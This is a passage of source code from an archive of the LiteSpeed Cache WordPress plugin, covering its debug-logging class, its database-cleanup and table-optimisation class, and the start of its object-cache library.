		if (empty($_GET[self::TYPE_SET]) || !is_array($_GET[self::TYPE_SET])) {
			return;
		}

		$the_matrix = array();
		foreach ($_GET[self::TYPE_SET] as $id => $v) {
			if (!$this->has_conf($id)) {
				continue;
			}

			// Append new item to array type settings
			if (is_array($v) && is_array($this->conf($id))) {
				$v = array_merge($this->conf($id), $v);

				Debug2::debug('[Conf] Appended to settings [' . $id . ']: ' . var_export($v, true));
			} else {
				Debug2::debug('[Conf] Set setting [' . $id . ']: ' . var_export($v, true));
			}

			$the_matrix[$id] = $v;
		}

		if (!$the_matrix) {
			return;
		}

		$this->update_confs($the_matrix);

		$msg = __('Changed setting successfully.', 'litespeed-cache');
		Admin_Display::success($msg);

		// Redirect if changed frontend URL
		if (!empty($_GET['redirect'])) {
			wp_redirect($_GET['redirect']);
			exit();
		}
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  2.9
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_SET:
            $this->_set_conf();
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/debug2.cls.php000064400000034256151031165260017531 0ustar00<?php
// phpcs:ignoreFile

/**
 * The plugin logging class.
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Debug2 extends Root {

	private static $log_path;
	private static $log_path_prefix;
	private static $_prefix;

	const TYPE_CLEAR_LOG = 'clear_log';
	const TYPE_BETA_TEST = 'beta_test';

	const BETA_TEST_URL = 'beta_test_url';

	const BETA_TEST_URL_WP = 'https://downloads.wordpress.org/plugin/litespeed-cache.zip';

	/**
	 * Log class Confructor
	 *
	 * NOTE: in this process, until last step ( define const LSCWP_LOG = true ), any usage to WP filter will not be logged to prevent infinite loop with log_filters()
	 *
	 * @since 1.1.2
	 * @access public
	 */
	public function __construct() {
		self::$log_path_prefix = LITESPEED_STATIC_DIR . '/debug/';
		// Maybe move legacy log files
		$this->_maybe_init_folder();

		self::$log_path = $this->path('debug');
		if (!empty($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'lscache_') === 0) {
			self::$log_path = $this->path('crawler');
		}

		!defined('LSCWP_LOG_TAG') && define('LSCWP_LOG_TAG', get_current_blog_id());

		if ($this->conf(Base::O_DEBUG_LEVEL)) {
			!defined('LSCWP_LOG_MORE') && define('LSCWP_LOG_MORE', true);
		}

		defined('LSCWP_DEBUG_EXC_STRINGS') || define('LSCWP_DEBUG_EXC_STRINGS', $this->conf(Base::O_DEBUG_EXC_STRINGS));
	}

	/**
	 * Disable all functionalities for a time period.
	 *
	 * @since 7.4
	 * @access public
	 * @param  integer $time How long should we disable LSC functionalities.
	 */
	public static function tmp_disable( $time = 86400 ) {
		$conf = Conf::cls();
		$disabled = self::cls()->conf( Base::DEBUG_TMP_DISABLE );

		if ( 0 === $disabled ) {
			$conf->update_confs( array( Base::DEBUG_TMP_DISABLE => time() + $time ) );
			self::debug2( 'LiteSpeed Cache temporary disabled.' );

			return;
		}

		$conf->update_confs( array( Base::DEBUG_TMP_DISABLE => 0 ) );
		self::debug2( 'LiteSpeed Cache reactivated.' );
	}

	/**
	 * Test if Disable All is active. Disable if time is reached.
	 *
	 * @since 7.4
	 * @access public
	 */
	public static function is_tmp_disable() {
		$disabled_time = self::cls()->conf( Base::DEBUG_TMP_DISABLE );

		if ( 0 === $disabled_time ) {
			return false;
		}

		if ( time() - $disabled_time < 0 ){
			return true;
		}

		Conf::cls()->update_confs( array( Base::DEBUG_TMP_DISABLE => 0 ) );
		return false;
	}

	/**
	 * Try moving legacy logs into /litespeed/debug/ folder
	 *
	 * @since 6.5
	 */
	private function _maybe_init_folder() {
		if (file_exists(self::$log_path_prefix . 'index.php')) {
			return;
		}
		File::save(self::$log_path_prefix . 'index.php', '<?php // Silence is golden.', true);

		$logs = array( 'debug', 'debug.purge', 'crawler' );
		foreach ($logs as $log) {
			if (file_exists(LSCWP_CONTENT_DIR . '/' . $log . '.log') && !file_exists($this->path($log))) {
				rename(LSCWP_CONTENT_DIR . '/' . $log . '.log', $this->path($log));
			}
		}
	}

	/**
	 * Generate log file path
	 *
	 * @since 6.5
	 */
	public function path( $type ) {
		return self::$log_path_prefix . self::FilePath($type);
	}

	/**
	 * Generate the fixed log filename
	 *
	 * @since 6.5
	 */
	public static function FilePath( $type ) {
		if ($type == 'debug.purge') {
			$type = 'purge';
		}
		$key  = defined('AUTH_KEY') ? AUTH_KEY : md5(__FILE__);
		$rand = substr(md5(substr($key, -16)), -16);
		return $type . $rand . '.log';
	}

	/**
	 * End call of one request process
	 *
	 * @since 4.7
	 * @access public
	 */
	public static function ended() {
		$headers = headers_list();
		foreach ($headers as $key => $header) {
			if (stripos($header, 'Set-Cookie') === 0) {
				unset($headers[$key]);
			}
		}
		self::debug('Response headers', $headers);

		$elapsed_time = number_format((microtime(true) - LSCWP_TS_0) * 1000, 2);
		self::debug("End response\n--------------------------------------------------Duration: " . $elapsed_time . " ms------------------------------\n");
	}

	/**
	 * Beta test upgrade
	 *
	 * @since 2.9.5
	 * @access public
	 */
	public function beta_test( $zip = false ) {
		if (!$zip) {
			if (empty($_REQUEST[self::BETA_TEST_URL])) {
				return;
			}

			$zip = $_REQUEST[self::BETA_TEST_URL];
			if ($zip !== self::BETA_TEST_URL_WP) {
				if ($zip === 'latest') {
					$zip = self::BETA_TEST_URL_WP;
				} else {
					// Generate zip url
					$zip = $this->_package_zip($zip);
				}
			}
		}

		if (!$zip) {
			self::debug('[Debug2] ❌  No ZIP file');
			return;
		}

		self::debug('[Debug2] ZIP file ' . $zip);

		$update_plugins = get_site_transient('update_plugins');
		if (!is_object($update_plugins)) {
			$update_plugins = new \stdClass();
		}

		$plugin_info              = new \stdClass();
		$plugin_info->new_version = Core::VER;
		$plugin_info->slug        = Core::PLUGIN_NAME;
		$plugin_info->plugin      = Core::PLUGIN_FILE;
		$plugin_info->package     = $zip;
		$plugin_info->url         = 'https://wordpress.org/plugins/litespeed-cache/';

		$update_plugins->response[Core::PLUGIN_FILE] = $plugin_info;

		set_site_transient('update_plugins', $update_plugins);

		// Run upgrade
		Activation::cls()->upgrade();
	}

	/**
	 * Git package refresh
	 *
	 * @since  2.9.5
	 * @access private
	 */
	private function _package_zip( $commit ) {
		$data = array(
			'commit' => $commit,
		);
		$res  = Cloud::get(Cloud::API_BETA_TEST, $data);

		if (empty($res['zip'])) {
			return false;
		}

		return $res['zip'];
	}

	/**
	 * Log Purge headers separately
	 *
	 * @since 2.7
	 * @access public
	 */
	public static function log_purge( $purge_header ) {
		// Check if debug is ON
		if (!defined('LSCWP_LOG') && !defined('LSCWP_LOG_BYPASS_NOTADMIN')) {
			return;
		}

		$purge_file = self::cls()->path('purge');

		self::cls()->_init_request($purge_file);

		$msg = $purge_header . self::_backtrace_info(6);

		File::append($purge_file, self::format_message($msg));
	}

	/**
	 * Enable debug log
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function init() {
		if (defined('LSCWP_LOG')) return;

		$debug = $this->conf(Base::O_DEBUG);
		if ($debug == Base::VAL_ON2) {
			if (!$this->cls('Router')->is_admin_ip()) {
				defined('LSCWP_LOG_BYPASS_NOTADMIN') || define('LSCWP_LOG_BYPASS_NOTADMIN', true);
				return;
			}
		}

		/**
		 * Check if hit URI includes/excludes
		 * This is after LSCWP_LOG_BYPASS_NOTADMIN to make `log_purge()` still work
		 *
		 * @since  3.0
		 */
		$list = $this->conf(Base::O_DEBUG_INC);
		if ($list) {
			$result = Utility::str_hit_array($_SERVER['REQUEST_URI'], $list);
			if (!$result) {
				return;
			}
		}

		$list = $this->conf(Base::O_DEBUG_EXC);
		if ($list) {
			$result = Utility::str_hit_array($_SERVER['REQUEST_URI'], $list);
			if ($result) {
				return;
			}
		}

		if (!defined('LSCWP_LOG')) {
			// If not initialized, do it now
			$this->_init_request();
			define('LSCWP_LOG', true);
		}
	}

	/**
	 * Create the initial log messages with the request parameters.
	 *
	 * @since 1.0.12
	 * @access private
	 */
	private function _init_request( $log_file = null ) {
		if (!$log_file) {
			$log_file = self::$log_path;
		}

		// Check log file size
		$log_file_size = $this->conf(Base::O_DEBUG_FILESIZE);
		if (file_exists($log_file) && filesize($log_file) > $log_file_size * 1000000) {
			File::save($log_file, '');
		}

		// For more than 2s's requests, add more break
		if (file_exists($log_file) && time() - filemtime($log_file) > 2) {
			File::append($log_file, "\n\n\n\n");
		}

		if (PHP_SAPI == 'cli') {
			return;
		}

		$servervars = array(
			'Query String' => '',
			'HTTP_ACCEPT' => '',
			'HTTP_USER_AGENT' => '',
			'HTTP_ACCEPT_ENCODING' => '',
			'HTTP_COOKIE' => '',
			'REQUEST_METHOD' => '',
			'SERVER_PROTOCOL' => '',
			'X-LSCACHE' => '',
			'LSCACHE_VARY_COOKIE' => '',
			'LSCACHE_VARY_VALUE' => '',
			'ESI_CONTENT_TYPE' => '',
		);
		$server     = array_merge($servervars, $_SERVER);
		$params     = array();

		if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
			$server['SERVER_PROTOCOL'] .= ' (HTTPS) ';
		}

		$param = sprintf('💓 ------%s %s %s', $server['REQUEST_METHOD'], $server['SERVER_PROTOCOL'], strtok($server['REQUEST_URI'], '?'));

		$qs = !empty($server['QUERY_STRING']) ? $server['QUERY_STRING'] : '';
		if ($this->conf(Base::O_DEBUG_COLLAPSE_QS)) {
			$qs = $this->_omit_long_message($qs);
			if ($qs) {
				$param .= ' ? ' . $qs;
			}
			$params[] = $param;
		} else {
			$params[] = $param;
			$params[] = 'Query String: ' . $qs;
		}

		if (!empty($_SERVER['HTTP_REFERER'])) {
			$params[] = 'HTTP_REFERER: ' . $this->_omit_long_message($server['HTTP_REFERER']);
		}

		if (defined('LSCWP_LOG_MORE')) {
			$params[] = 'User Agent: ' . $this->_omit_long_message($server['HTTP_USER_AGENT']);
			$params[] = 'Accept: ' . $server['HTTP_ACCEPT'];
			$params[] = 'Accept Encoding: ' . $server['HTTP_ACCEPT_ENCODING'];
		}
		// $params[] = 'Cookie: ' . $server['HTTP_COOKIE'];
		if (isset($_COOKIE['_lscache_vary'])) {
			$params[] = 'Cookie _lscache_vary: ' . $_COOKIE['_lscache_vary'];
		}
		if (defined('LSCWP_LOG_MORE')) {
			$params[] = 'X-LSCACHE: ' . (!empty($server['X-LSCACHE']) ? 'true' : 'false');
		}
		if ($server['LSCACHE_VARY_COOKIE']) {
			$params[] = 'LSCACHE_VARY_COOKIE: ' . $server['LSCACHE_VARY_COOKIE'];
		}
		if ($server['LSCACHE_VARY_VALUE']) {
			$params[] = 'LSCACHE_VARY_VALUE: ' . $server['LSCACHE_VARY_VALUE'];
		}
		if ($server['ESI_CONTENT_TYPE']) {
			$params[] = 'ESI_CONTENT_TYPE: ' . $server['ESI_CONTENT_TYPE'];
		}

		$request = array_map(__CLASS__ . '::format_message', $params);

		File::append($log_file, $request);
	}

	/**
	 * Trim long msg to keep log neat
	 *
	 * @since 6.3
	 */
	private function _omit_long_message( $msg ) {
		if (strlen($msg) > 53) {
			$msg = substr($msg, 0, 53) . '...';
		}
		return $msg;
	}

	/**
	 * Formats the log message with a consistent prefix.
	 *
	 * @since 1.0.12
	 * @access private
	 * @param string $msg The log message to write.
	 * @return string The formatted log message.
	 */
	private static function format_message( $msg ) {
		// If call here without calling get_enabled() first, improve compatibility
		if (!defined('LSCWP_LOG_TAG')) {
			return $msg . "\n";
		}

		if (!isset(self::$_prefix)) {
			// address
			if (PHP_SAPI == 'cli') {
				$addr = '=CLI=';
				if (isset($_SERVER['USER'])) {
					$addr .= $_SERVER['USER'];
				} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
					$addr .= $_SERVER['HTTP_X_FORWARDED_FOR'];
				}
			} else {
				$addr = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
				$port = isset($_SERVER['REMOTE_PORT']) ? $_SERVER['REMOTE_PORT'] : '';
				$addr = "$addr:$port";
			}

			// Generate a unique string per request
			self::$_prefix = sprintf(' [%s %s %s] ', $addr, LSCWP_LOG_TAG, Str::rrand(3));
		}
		list($usec, $sec) = explode(' ', microtime());
		return date('m/d/y H:i:s', $sec + LITESPEED_TIME_OFFSET) . substr($usec, 1, 4) . self::$_prefix . $msg . "\n";
	}

	/**
	 * Direct call to log a debug message.
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public static function debug( $msg, $backtrace_limit = false ) {
		if (!defined('LSCWP_LOG')) {
			return;
		}

		if (defined('LSCWP_DEBUG_EXC_STRINGS') && Utility::str_hit_array($msg, LSCWP_DEBUG_EXC_STRINGS)) {
			return;
		}

		if ($backtrace_limit !== false) {
			if (!is_numeric($backtrace_limit)) {
				$backtrace_limit = self::trim_longtext($backtrace_limit);
				if (is_array($backtrace_limit) && count($backtrace_limit) == 1 && !empty($backtrace_limit[0])) {
					$msg .= ' --- ' . $backtrace_limit[0];
				} else {
					$msg .= ' --- ' . var_export($backtrace_limit, true);
				}
				self::push($msg);
				return;
			}

			self::push($msg, $backtrace_limit + 1);
			return;
		}

		self::push($msg);
	}

	/**
	 * Trim long string before array dump
	 *
	 * @since  3.3
	 */
	public static function trim_longtext( $backtrace_limit ) {
		if (is_array($backtrace_limit)) {
			$backtrace_limit = array_map(__CLASS__ . '::trim_longtext', $backtrace_limit);
		}
		if (is_string($backtrace_limit) && strlen($backtrace_limit) > 500) {
			$backtrace_limit = substr($backtrace_limit, 0, 1000) . '...';
		}
		return $backtrace_limit;
	}

	/**
	 * Direct call to log an advanced debug message.
	 *
	 * @since 1.2.0
	 * @access public
	 */
	public static function debug2( $msg, $backtrace_limit = false ) {
		if (!defined('LSCWP_LOG_MORE')) {
			return;
		}
		self::debug($msg, $backtrace_limit);
	}

	/**
	 * Logs a debug message.
	 *
	 * @since 1.1.0
	 * @access private
	 * @param string $msg The debug message.
	 * @param int    $backtrace_limit Backtrace depth.
	 */
	private static function push( $msg, $backtrace_limit = false ) {
		// backtrace handler
		if (defined('LSCWP_LOG_MORE') && $backtrace_limit !== false) {
			$msg .= self::_backtrace_info($backtrace_limit);
		}

		File::append(self::$log_path, self::format_message($msg));
	}

	/**
	 * Backtrace info
	 *
	 * @since 2.7
	 */
	private static function _backtrace_info( $backtrace_limit ) {
		$msg = '';

		$trace = debug_backtrace(false, $backtrace_limit + 3);
		for ($i = 2; $i <= $backtrace_limit + 2; $i++) {
			// 0st => _backtrace_info(), 1st => push()
			if (empty($trace[$i]['class'])) {
				if (empty($trace[$i]['file'])) {
					break;
				}
				$log = "\n" . $trace[$i]['file'];
			} else {
				if ($trace[$i]['class'] == __CLASS__) {
					continue;
				}

				$args = '';
				if (!empty($trace[$i]['args'])) {
					foreach ($trace[$i]['args'] as $v) {
						if (is_array($v)) {
							$v = 'ARRAY';
						}
						if (is_string($v) || is_numeric($v)) {
							$args .= $v . ',';
						}
					}

					$args = substr($args, 0, strlen($args) > 100 ? 100 : -1);
				}

				$log = str_replace('Core', 'LSC', $trace[$i]['class']) . $trace[$i]['type'] . $trace[$i]['function'] . '(' . $args . ')';
			}
			if (!empty($trace[$i - 1]['line'])) {
				$log .= '@' . $trace[$i - 1]['line'];
			}
			$msg .= " => $log";
		}

		return $msg;
	}

	/**
	 * Clear log file
	 *
	 * @since 1.6.6
	 * @access private
	 */
	private function _clear_log() {
		$logs = array( 'debug', 'purge', 'crawler' );
		foreach ($logs as $log) {
			File::save($this->path($log), '');
		}
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  1.6.6
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_CLEAR_LOG:
            $this->_clear_log();
				break;

			case self::TYPE_BETA_TEST:
            $this->beta_test();
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/db-optm.cls.php000064400000024535151031165260017722 0ustar00<?php
// phpcs:ignoreFile

/**
 * The admin optimize tool
 *
 * @since      1.2.1
 * @package    LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class DB_Optm extends Root {

	private static $_hide_more = false;

	private static $TYPES = array(
		'revision',
		'orphaned_post_meta',
		'auto_draft',
		'trash_post',
		'spam_comment',
		'trash_comment',
		'trackback-pingback',
		'expired_transient',
		'all_transients',
		'optimize_tables',
	);
	const TYPE_CONV_TB    = 'conv_innodb';

	/**
	 * Show if there are more sites in hidden
	 *
	 * @since  3.0
	 */
	public static function hide_more() {
		return self::$_hide_more;
	}

	/**
	 * Clean/Optimize WP tables
	 *
	 * @since  1.2.1
	 * @access public
	 * @param  string $type The type to clean
	 * @param  bool   $ignore_multisite If ignore multisite check
	 * @return  int The rows that will be affected
	 */
	public function db_count( $type, $ignore_multisite = false ) {
		if ($type === 'all') {
			$num = 0;
			foreach (self::$TYPES as $v) {
				$num += $this->db_count($v);
			}
			return $num;
		}

		if (!$ignore_multisite) {
			if (is_multisite() && is_network_admin()) {
				$num   = 0;
				$blogs = Activation::get_network_ids();
				foreach ($blogs as $k => $blog_id) {
					if ($k > 3) {
						self::$_hide_more = true;
						break;
					}

					switch_to_blog($blog_id);
					$num += $this->db_count($type, true);
					restore_current_blog();
				}
				return $num;
			}
		}

		global $wpdb;

		switch ($type) {
			case 'revision':
            $rev_max = (int) $this->conf(Base::O_DB_OPTM_REVISIONS_MAX);
            $rev_age = (int) $this->conf(Base::O_DB_OPTM_REVISIONS_AGE);
            $sql_add = '';
            if ($rev_age) {
					$sql_add = " and post_modified < DATE_SUB( NOW(), INTERVAL $rev_age DAY ) ";
				}
            $sql = "SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_type = 'revision' $sql_add";
            if (!$rev_max) {
					return $wpdb->get_var($sql);
				}
            // Has count limit
            $sql = "SELECT COUNT(*)-$rev_max FROM `$wpdb->posts` WHERE post_type = 'revision' $sql_add GROUP BY post_parent HAVING count(*)>$rev_max";
            $res = $wpdb->get_results($sql, ARRAY_N);

            Utility::compatibility();
				return array_sum(array_column($res, 0));

			case 'orphaned_post_meta':
				return $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->postmeta` a LEFT JOIN `$wpdb->posts` b ON b.ID=a.post_id WHERE b.ID IS NULL");

			case 'auto_draft':
				return $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_status = 'auto-draft'");

			case 'trash_post':
				return $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_status = 'trash'");

			case 'spam_comment':
				return $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_approved = 'spam'");

			case 'trash_comment':
				return $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_approved = 'trash'");

			case 'trackback-pingback':
				return $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_type = 'trackback' OR comment_type = 'pingback'");

			case 'expired_transient':
				return $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->options` WHERE option_name LIKE '_transient_timeout%' AND option_value < " . time());

			case 'all_transients':
				return $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->options` WHERE option_name LIKE '%_transient_%'");

			case 'optimize_tables':
				return $wpdb->get_var("SELECT COUNT(*) FROM information_schema.tables WHERE TABLE_SCHEMA = '" . DB_NAME . "' and ENGINE <> 'InnoDB' and DATA_FREE > 0");
		}

		return '-';
	}

	/**
	 * Clean/Optimize WP tables
	 *
	 * @since  1.2.1
	 * @since 3.0 changed to private
	 * @access private
	 */
	private function _db_clean( $type ) {
		if ($type === 'all') {
			foreach (self::$TYPES as $v) {
				$this->_db_clean($v);
			}
			return __('Clean all successfully.', 'litespeed-cache');
		}

		global $wpdb;
		switch ($type) {
			case 'revision':
            $rev_max = (int) $this->conf(Base::O_DB_OPTM_REVISIONS_MAX);
            $rev_age = (int) $this->conf(Base::O_DB_OPTM_REVISIONS_AGE);

            $postmeta = "`$wpdb->postmeta`";
            $posts    = "`$wpdb->posts`";

            $sql_postmeta_join = function ( $table ) use ( $postmeta, $posts ) {
					return "
						$postmeta
						CROSS JOIN $table
						ON $posts.ID = $postmeta.post_id
					";
				};

				$sql_where = "WHERE $posts.post_type = 'revision'";

				$sql_add = $rev_age ? "AND $posts.post_modified < DATE_SUB( NOW(), INTERVAL $rev_age DAY )" : '';

				if (!$rev_max) {
					$sql_where    = "$sql_where $sql_add";
					$sql_postmeta = $sql_postmeta_join($posts);
					$wpdb->query("DELETE $postmeta FROM $sql_postmeta $sql_where");
					$wpdb->query("DELETE FROM $posts $sql_where");
				} else {
					// Has count limit
					$sql          = "
						SELECT COUNT(*) - $rev_max
						AS del_max, post_parent
						FROM $posts
						WHERE post_type = 'revision'
						$sql_add
						GROUP BY post_parent
						HAVING COUNT(*) > $rev_max
					";
					$res          = $wpdb->get_results($sql);
					$sql_where    = "
						$sql_where
						AND post_parent = %d
						ORDER BY ID
						LIMIT %d
					";
					$sql_postmeta = $sql_postmeta_join("(SELECT ID FROM $posts $sql_where) AS $posts");
					foreach ($res as $v) {
						$args = array( $v->post_parent, $v->del_max );
						$sql  = $wpdb->prepare("DELETE $postmeta FROM $sql_postmeta", $args);
						$wpdb->query($sql);
						$sql = $wpdb->prepare("DELETE FROM $posts $sql_where", $args);
						$wpdb->query($sql);
					}
				}

				return __('Clean post revisions successfully.', 'litespeed-cache');

			case 'orphaned_post_meta':
            $wpdb->query("DELETE a FROM `$wpdb->postmeta` a LEFT JOIN `$wpdb->posts` b ON b.ID=a.post_id WHERE b.ID IS NULL");
				return __('Clean orphaned post meta successfully.', 'litespeed-cache');

			case 'auto_draft':
            $wpdb->query("DELETE FROM `$wpdb->posts` WHERE post_status = 'auto-draft'");
				return __('Clean auto drafts successfully.', 'litespeed-cache');

			case 'trash_post':
            $wpdb->query("DELETE FROM `$wpdb->posts` WHERE post_status = 'trash'");
				return __('Clean trashed posts and pages successfully.', 'litespeed-cache');

			case 'spam_comment':
            $wpdb->query("DELETE FROM `$wpdb->comments` WHERE comment_approved = 'spam'");
				return __('Clean spam comments successfully.', 'litespeed-cache');

			case 'trash_comment':
            $wpdb->query("DELETE FROM `$wpdb->comments` WHERE comment_approved = 'trash'");
				return __('Clean trashed comments successfully.', 'litespeed-cache');

			case 'trackback-pingback':
            $wpdb->query("DELETE FROM `$wpdb->comments` WHERE comment_type = 'trackback' OR comment_type = 'pingback'");
				return __('Clean trackbacks and pingbacks successfully.', 'litespeed-cache');

			case 'expired_transient':
            $wpdb->query("DELETE FROM `$wpdb->options` WHERE option_name LIKE '_transient_timeout%' AND option_value < " . time());
				return __('Clean expired transients successfully.', 'litespeed-cache');

			case 'all_transients':
            $wpdb->query("DELETE FROM `$wpdb->options` WHERE option_name LIKE '%\\_transient\\_%'");
				return __('Clean all transients successfully.', 'litespeed-cache');

			case 'optimize_tables':
            $sql    = "SELECT table_name, DATA_FREE FROM information_schema.tables WHERE TABLE_SCHEMA = '" . DB_NAME . "' and ENGINE <> 'InnoDB' and DATA_FREE > 0";
            $result = $wpdb->get_results($sql);
            if ($result) {
					foreach ($result as $row) {
                    $wpdb->query('OPTIMIZE TABLE ' . $row->table_name);
						}
				}
				return __('Optimized all tables.', 'litespeed-cache');
		}
	}

	/**
	 * Get all myisam tables
	 *
	 * @since 3.0
	 * @access public
	 */
	public function list_myisam() {
		global $wpdb;
		$q = "SELECT TABLE_NAME as table_name, ENGINE as engine FROM information_schema.tables WHERE TABLE_SCHEMA = '" . DB_NAME . "' and ENGINE = 'myisam' AND TABLE_NAME LIKE '{$wpdb->prefix}%'";
		return $wpdb->get_results($q);
	}

	/**
	 * Convert tables to InnoDB
	 *
	 * @since  3.0
	 * @access private
	 */
	private function _conv_innodb() {
		global $wpdb;

		if (empty($_GET['tb'])) {
			Admin_Display::error('No table to convert');
			return;
		}

		$tb = false;

		$list = $this->list_myisam();
		foreach ($list as $v) {
			if ($v->table_name == $_GET['tb']) {
				$tb = $v->table_name;
				break;
			}
		}

		if (!$tb) {
			Admin_Display::error('No existing table');
			return;
		}

		$q = 'ALTER TABLE ' . DB_NAME . '.' . $tb . ' ENGINE = InnoDB';
		$wpdb->query($q);

		Debug2::debug("[DB] Converted $tb to InnoDB");

		$msg = __('Converted to InnoDB successfully.', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Count all autoload size
	 *
	 * @since  3.0
	 * @access public
	 */
	public function autoload_summary() {
		global $wpdb;

		$autoloads = function_exists('wp_autoload_values_to_autoload') ? wp_autoload_values_to_autoload() : array( 'yes', 'on', 'auto-on', 'auto' );
		$autoloads = '("' . implode('","', $autoloads) . '")';

		$summary = $wpdb->get_row("SELECT SUM(LENGTH(option_value)) AS autoload_size,COUNT(*) AS autload_entries FROM `$wpdb->options` WHERE autoload IN " . $autoloads);

		$summary->autoload_toplist = $wpdb->get_results(
			"SELECT option_name, LENGTH(option_value) AS option_value_length, autoload FROM `$wpdb->options` WHERE autoload IN " .
				$autoloads .
				' ORDER BY option_value_length DESC LIMIT 20'
		);

		return $summary;
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  3.0
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case 'all':
			case in_array($type, self::$TYPES):
            if (is_multisite() && is_network_admin()) {
					$blogs = Activation::get_network_ids();
					foreach ($blogs as $blog_id) {
                    switch_to_blog($blog_id);
                    $msg = $this->_db_clean($type);
                    restore_current_blog();
						}
				} else {
                $msg = $this->_db_clean($type);
				}
            Admin_Display::success($msg);
				break;

			case self::TYPE_CONV_TB:
            $this->_conv_innodb();
				break;

			default:
				break;
		}

		Admin::redirect();
	}

	/**
	 * Clean DB
	 *
	 * @since  7.0
	 * @access public
	 */
	public function handler_clean_db_cli($args)
	{
		if (defined('WP_CLI') && constant('WP_CLI')) {
			return $this->_db_clean($args);
		}

		return false;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/object.lib.php000064400000032475151031165260017615 0ustar00<?php
/**
 * LiteSpeed Object Cache Library
 *
 * @since  1.8
 * @package LiteSpeed
 */

defined( 'WPINC' ) || exit();

if (!function_exists('litespeed_exception_handler')) {
/**
 * Handle exception
 *
 * Converts PHP errors into exceptions for better error handling.
 *
 * @since 1.8
 * @access public
 * @param int    $errno   Error level.
 * @param string $errstr  Error message.
 * @param string $errfile File where the error occurred.
 * @param int    $errline Line number where the error occurred.
 * @throws \ErrorException Error msg.
 */
function litespeed_exception_handler( $errno, $errstr, $errfile, $errline ) {
	throw new \ErrorException( esc_html( $errstr ), 0, esc_html( $errno ), esc_html( $errfile ), esc_html( $errline ) );
}
}

require_once __DIR__ . '/object-cache.cls.php';
require_once __DIR__ . '/object-cache-wp.cls.php';

/**
 * Sets up Object Cache Global and assigns it.
 *
 * Initializes the global object cache instance.
 *
 * @since 1.8
 * @access public
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 */
function wp_cache_init() {
	// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
	$GLOBALS['wp_object_cache'] = WP_Object_Cache::get_instance();
}

/**
 * Adds data to the cache, if the cache key doesn't already exist.
 *
 * @since 1.8
 * @access public
 * @see WP_Object_Cache::add()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The cache key to use for retrieval later.
 * @param mixed      $data   The data to add to the cache.
 * @param string     $group  Optional. The group to add the cache to. Enables the same key
 *                           to be used across groups. Default empty.
 * @param int        $expire Optional. When the cache data should expire, in seconds.
 *                           Default 0 (no expiration).
 * @return bool True on success, false if cache key and group already exist.
 */
function wp_cache_add( $key, $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->add( $key, $data, $group, (int) $expire );
}

/**
 * Adds multiple values to the cache in one call.
 *
 * @since 5.4
 * @access public
 * @see WP_Object_Cache::add_multiple()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param array  $data   Array of keys and values to be set.
 * @param string $group  Optional. Where the cache contents are grouped. Default empty.
 * @param int    $expire Optional. When to expire the cache contents, in seconds.
 *                       Default 0 (no expiration).
 * @return bool[] Array of return values, grouped by key. Each value is either
 *                true on success, or false if cache key and group already exist.
 */
function wp_cache_add_multiple( array $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->add_multiple( $data, $group, $expire );
}

/**
 * Replaces the contents of the cache with new data.
 *
 * @since 1.8
 * @access public
 * @see WP_Object_Cache::replace()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The key for the cache data that should be replaced.
 * @param mixed      $data   The new data to store in the cache.
 * @param string     $group  Optional. The group for the cache data that should be replaced.
 *                           Default empty.
 * @param int        $expire Optional. When to expire the cache contents, in seconds.
 *                           Default 0 (no expiration).
 * @return bool True if contents were replaced, false if original value does not exist.
 */
function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->replace( $key, $data, $group, (int) $expire );
}

/**
 * Saves the data to the cache.
 *
 * Differs from wp_cache_add() and wp_cache_replace() in that it will always write data.
 *
 * @since 1.8
 * @access public
 * @see WP_Object_Cache::set()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The cache key to use for retrieval later.
 * @param mixed      $data   The contents to store in the cache.
 * @param string     $group  Optional. Where to group the cache contents. Enables the same key
 *                           to be used across groups. Default empty.
 * @param int        $expire Optional. When to expire the cache contents, in seconds.
 *                           Default 0 (no expiration).
 * @return bool True on success, false on failure.
 */
function wp_cache_set( $key, $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->set( $key, $data, $group, (int) $expire );
